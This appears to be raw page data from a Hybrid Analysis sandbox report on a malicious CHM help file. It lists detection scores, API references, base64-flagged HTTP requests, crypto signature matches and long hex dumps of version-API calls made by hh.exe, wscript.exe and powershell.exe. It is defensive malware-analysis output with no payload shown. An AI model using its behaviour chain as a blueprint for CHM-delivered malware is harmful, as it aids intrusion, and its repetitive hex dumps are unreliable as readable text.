26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 4d:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T420,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Sample 5071a29f4268… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 5071a29f4268…. Threat score 100/100. 4/27 AV engines flagged this file. 7 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/5071a29f42689c6d83de6fc16bbc6272b50ff06a53c721f34b0d94a29112bba6","keywords":["Malicious","malware analysis","sandbox report","threat intelligence","5071a29f42689c6d83de6fc16bbc6272b50ff06a53c721f34b0d94a29112bba6"],"about":{"@type":"SoftwareApplication","name":"sgic_info.chm","applicationCategory":["text","mshelp"],"identifier":"5071a29f42689c6d83de6fc16bbc6272b50ff06a53c721f34b0d94a29112bba6","additionalType":"Malicious sample"},"threatScore":100,"antivirusDetections":{"malicious":4,"total":27},"behavioralIndicators":{"malicious":7,"suspicious":19},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T402,Found reference to API "MpFreeMemory" (Indicator: "FreeMemory"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.24902000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API "CreateThreadpool" (Indicator: "CreateThread"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API "CreateThreadpoolIo" (Indicator: "CreateThread"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API "CreateThreadpoolWait" (Indicator: "CreateThread"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API "CreateThreadpoolWork" (Indicator: "CreateThread"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp")28:T3d14,Contains base64 string in header "back" in header "GET /common/images/exprtInstrImg/m_back.gif HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: egismail.sgic.co.krConnection: Keep-Alive" Contains base64 string in header "Language" in header "GET /common/images/exprtInstrImg/m_back.gif HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: egismail.sgic.co.krConnection: Keep-Alive" Contains base64 string in header "USUA" in header "GET /common/images/exprtInstrImg/m_back.gif HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: egismail.sgic.co.krConnection: Keep-Alive" Contains base64 string in header "Encoding" in header "GET /common/images/exprtInstrImg/m_back.gif HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: egismail.sgic.co.krConnection: Keep-Alive" Contains base64 string in header "gzip" in header "GET /common/images/exprtInstrImg/m_back.gif HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: egismail.sgic.co.krConnection: Keep-Alive" Contains base64 string in header "MSIE" in header "GET /common/images/exprtInstrImg/m_back.gif HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: egismail.sgic.co.krConnection: Keep-Alive" Contains base64 string in header "NET4" in header "GET /common/images/exprtInstrImg/m_back.gif HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: egismail.sgic.co.krConnection: Keep-Alive" Contains base64 string in header "InfoPath" in header "GET /common/images/exprtInstrImg/m_back.gif HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: egismail.sgic.co.krConnection: Keep-Alive" Contains base64 string in header "Host" in header "GET /common/images/exprtInstrImg/m_back.gif HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: egismail.sgic.co.krConnection: Keep-Alive" Contains base64 string in header "egismail" in header "GET /common/images/exprtInstrImg/m_back.gif HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: egismail.sgic.co.krConnection: Keep-Alive" Contains base64 string in header "sgic" in header "GET /common/images/exprtInstrImg/m_back.gif HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: egismail.sgic.co.krConnection: Keep-Alive" Contains base64 string in header "krConnection" in header "GET /common/images/exprtInstrImg/m_back.gif HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: egismail.sgic.co.krConnection: Keep-Alive" Contains base64 string in header "Keep" in header "GET /common/images/exprtInstrImg/m_back.gif HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: egismail.sgic.co.krConnection: Keep-Alive" Contains base64 string in header "tail" in header "GET /common/images/exprtInstrImg/m_tail.jpg HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: egismail.sgic.co.krConnection: Keep-Alive" Contains base64 string in header "Language" in header "GET /common/images/exprtInstrImg/m_tail.jpg HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: egismail.sgic.co.krConnection: Keep-Alive" Contains base64 string in header "USUA" in header "GET /common/images/exprtInstrImg/m_tail.jpg HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: egismail.sgic.co.krConnection: Keep-Alive" Contains base64 string in header "Encoding" in header "GET /common/images/exprtInstrImg/m_tail.jpg HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: egismail.sgic.co.krConnection: Keep-Alive" Contains base64 string in header "gzip" in header "GET /common/images/exprtInstrImg/m_tail.jpg HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: egismail.sgic.co.krConnection: Keep-Alive" Contains base64 string in header "MSIE" in header "GET /common/images/exprtInstrImg/m_tail.jpg HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: egismail.sgic.co.krConnection: Keep-Alive" Contains base64 string in header "NET4" in header "GET /common/images/exprtInstrImg/m_tail.jpg HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: egismail.sgic.co.krConnection: Keep-Alive" Contains base64 string in header "InfoPath" in header "GET /common/images/exprtInstrImg/m_tail.jpg HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: egismail.sgic.co.krConnection: Keep-Alive" Contains base64 string in header "Host" in header "GET /common/images/exprtInstrImg/m_tail.jpg HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: egismail.sgic.co.krConnection: Keep-Alive" Contains base64 string in header "egismail" in header "GET /common/images/exprtInstrImg/m_tail.jpg HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: egismail.sgic.co.krConnection: Keep-Alive" Contains base64 string in header "sgic" in header "GET /common/images/exprtInstrImg/m_tail.jpg HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: egismail.sgic.co.krConnection: Keep-Alive" Contains base64 string in header "krConnection" in header "GET /common/images/exprtInstrImg/m_tail.jpg HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: egismail.sgic.co.krConnection: Keep-Alive" Contains base64 string in header "Keep" in header "GET /common/images/exprtInstrImg/m_tail.jpg HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: egismail.sgic.co.krConnection: Keep-Alive" Contains base64 string in header "Language" in header "GET /common/images/exprtInstrImg/m_top_01.jpg HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: egismail.sgic.co.krConnection: Keep-Alive" Contains base64 string in header "USUA" in header "GET /common/images/exprtInstrImg/m_top_01.jpg HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: egismail.sgic.co.krConnection: Keep-Alive" Contains base64 string in header "Encoding" in header "GET /common/images/exprtInstrImg/m_top_01.jpg HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: egismail.sgic.co.krConnection: Keep-Alive" Contains base64 string in header "gzip" in header "GET /common/images/exprtInstrImg/m_top_01.jpg HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: egismail.sgic.co.krConnection: Keep-Alive" Contains base64 string in header "MSIE" in header "GET /common/images/exprtInstrImg/m_top_01.jpg HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: egismail.sgic.co.krConnection: Keep-Alive" Contains base64 string in header "NET4" in header "GET /common/images/exprtInstrImg/m_top_01.jpg HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: egismail.sgic.co.krConnection: Keep-Alive" Contains base64 string in header "InfoPath" in header "GET /common/images/exprtInstrImg/m_top_01.jpg HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: egismail.sgic.co.krConnection: Keep-Alive" Contains base64 string in header "Host" in header "GET /common/images/exprtInstrImg/m_top_01.jpg HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: egismail.sgic.co.krConnection: Keep-Alive" Contains base64 string in header "egismail" in header "GET /common/images/exprtInstrImg/m_top_01.jpg HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: egismail.sgic.co.krConnection: Keep-Alive" Contains base64 string in header "sgic" in header "GET /common/images/exprtInstrImg/m_top_01.jpg HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: egismail.sgic.co.krConnection: Keep-Alive" Contains base64 string in header "krConnection" in header "GET /common/images/exprtInstrImg/m_top_01.jpg HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: egismail.sgic.co.krConnection: Keep-Alive" Contains base64 string in header "Keep" in header "GET /common/images/exprtInstrImg/m_top_01.jpg HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: egismail.sgic.co.krConnection: Keep-Alive"29:T42e,The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Reads the cryptographic machine GUID Matched sigs: Calls an API typically to import cryptographic keys into a CSP Matched sigs: Calls an API typically to import asymmetric cryptographic keys into a CSP Matched sigs: Calls an API typically used to encrypt a block of data Matched sigs: Calls an API typically used to decrypt a block of data Matched sigs: HTTP requests contain Base64 strings Matched sigs: Contains CRYPTO related strings Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Sample file has high entropy (likely encrypted/compressed content) Matched sigs: References bcrypt module and functions (used for encryption/decryption) Matched sigs: Contains ability to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Contains ability to perform encryption/decryption using RSA algorithm Matched sigs: Contains ability to decrypt/decode data Matched sigs: YARA signature match - RC4 Encryption2a:T138e,"hh.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007804) "hh.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000e0ac0733fb7f0000000000000000000051ed2c35fb7f000000000000fb7f000000000000000000002621ff6ece360000000001001a00010010dd3d35fb7f00008fec2c35fb7f0000e0ac0733fb7f0000e0ac0733fb7f0000000000000000000000000000fb7f0000ffffff7f6487000000000000000000000000000000000000d8cefb32fb7f00002a0000000000000069c3b432fb7f000031000000000000008c0100000000000090010000000000001100011000000000f0e85bd15f00000003a31a35fb7f0000f0e85bd15f00000000000000000000002b00000000000000000000000000000020b0ba32fb7f0000b43fb932fb7f0000e0cefb32 (UID: 00000000-00007804) "hh.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000009244a510d5f59626b033000000000000000000000000000000004000000000000000f7d12d35fb7f00001a000000000000003f00000000000000809067d15f000000000000000000000000000000000000000000a932fb7f00000000000000000000a036b932fb7f000000a067d15f00000001000000000000001a000000000000004e7b9631fb7f000000a067d15f0000003020ac13660100000000000000000000809067d15f0000000000a932fb7f0000275cb032fb7f00003020ac136601000004ee5bd15f0000007905bbf764870000010000000000000004ee5bd15f0000009dbcb932fb7f000004ee5bd15f0000007964d419fb7f000000000000 (UID: 00000000-00007804) "hh.exe" called "RtlGetVersion" with parameter 240100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007804) "hh.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000000000000000000000000000000000000000f8425bd15f000000000000000000000000000000000000000000000000000000b23f5bd15f000000180000005f000000ff1da2dfb5ea0000a8455bd15f0000000000000000000000d0425bd15f000000e717252afb7f00007687ff6ece36000080425bd15f0000000300000000000000000000000000000000000000000000000000000000000000e687ff6ece360000010000000000000000000000000000000000000000000000807a1d08fb7f0000b9ad5c27fb7f000000000000000000000000fd06fb7f0000a8455bd15f00000000002835fb7f000060497027fb7f000022c39231fb7f000000000000 (UID: 00000000-00007804) "hh.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f0000020000000000000000000000000000000000000000000000000000000000000000000000000000005400540000000000f683ff6ece3600000000000000000000000000000000000046f27c32fb7f0000020000006d420000100bb113660100002e8e8232fb7f000060465bd15f000000000000000000000088017d32fb7f00000000000000000000205d2808fb7f000038465bd15f0000000000000000000000883c4308fb7f0000205d2808fb7f000060465bd15f00000040465bd15f00000000000000000000000000fd06fb7f00000000000000000000b7007d32fb7f00001400000000000000ffffffff000000000100000000000000450000000000000000010000 (UID: 00000000-00007804) "hh.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007804) "hh.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000e0002835fb7f000000000000000000000000000000000000000000000000000000007b32fb7f0000c8619619fb7f000028509519fb7f00005cc88332fb7f000008af8332fb7f0000288a8432fb7f000000009119fb7f000000000000fb7f0000f8009119fb7f000005000500660100007fee8332fb7f00000000000000000000deb12b35fb7f000001000000660100000000000000000000c073b61366010000188c5bd15f0000001640ff6ece36000051a72b35fb7f00000100000000000000f8009119fb7f000001000000000000000000000000000000608c5bd15f00000010333935fb7f0000b4905bd15f000000359e9319fb7f000000020000 (UID: 00000000-00007804)2b:T15ee,"hh.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000007f000000000000000000000c00000000000000098fef1ffb7f00000000000000000000505cd51366010000b05cd51366010000af81a3dfb5ea0000b08e9731fb7f0000239f1b35fb7f000000009031fb7f0000000000000000000000009031fb7f000000000000000000000100000000000000ff83ef1ffb7f000000000000 (UID: 00000000-00007804) "hh.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007804) "hh.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000000000000000000000000000000000000000000000050000f8020000f061d5136601000000000000000000004d0000000000000044d8f634fb7f00000a00000000000000000000000000000050c31514660100000f8ef634fb7f000040ec5bd15f000000b2a2f734fb7f00002c01000000000000ecffffff000000002c010000 (UID: 00000000-00007804) "wscript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e0f7ef57230000000000000000000000b0bcfa3f66010000d8f17b32fb7f0000a0f7ef57230000000000000000000000011df93f660100001f000000000000000f001000000000002067fa3f6601000000000100 (UID: 00000000-00006256) "wscript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000000000004e7b9631fb7f00000000fc29fb7f0000000000000000000000000000000000000806fd29fb7f00000001000000000000f0981935fb7f00000001000000000000000100000000000000000000000000000006fd29fb7f000001000000000000000f18fc29fb7f000000000000000000000006fd29fb7f000000000000 (UID: 00000000-00006256) "wscript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000007f00009c31e41ffb7f0000708be61ffb7f00000200000000000000708be61ffb7f000000000000000000000300000000000000b131e41ffb7f0000a815e71ffb7f000060ce0a406601000070ce0a4066010000888be61ffb7f00000100000000000000239f1b35fb7f00000000000000000000888be61ffb7f000006000000 (UID: 00000000-00006256) "wscript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000007f0000303de01efb7f0000c0fee11efb7f00000400000000000000c0fee11efb7f000000000000000000000500000000000000453de01efb7f0000286ae21efb7f0000be5a9731fb7f000068cc0a40660100005026dc7294a60000b08e9731fb7f0000239f1b35fb7f00000100000000000000d132e01efb7f000000009031 (UID: 00000000-00006256) "wscript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000007f0000be5a9731fb7f000000009c20fb7f000000000000000000000000000000000000883f9d20fb7f00000001000000000000f0981935fb7f0000000100000000000000010000000000000000000000000000803f9d20fb7f00000100000000000000bf109c20fb7f00000000000000000000803f9d20fb7f000000000000 (UID: 00000000-00006256) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000006f00770073005c006d006900630072006f0073006f00660074002e006e00650074005c006600720061006d00650077006f0072006b00360034005c00760034002e0030002e00330030003300310039005c0063006f006e006600690067005c006d0061006300680069006e0065002e0063006f006e006600690067000000 (UID: 00000000-00007740) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000050f832ead60000000000000000000000804d50470f020000d8f17b32fb7f000010f832ead60000000000000000000000011c50470f0200001f000000000000000f00100000000000406251470f02000000000100 (UID: 00000000-00005764) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000000000004e7b9631fb7f000000008a29fb7f00000000000000000000000000000000000008068b29fb7f00000001000000000000f0981935fb7f000000010000000000000001000000000000000000000000000000068b29fb7f000001000000000000000f188a29fb7f0000000000000000000000068b29fb7f000000000000 (UID: 00000000-00005764) "WScript.exe" called "GetVersionExA" with parameter 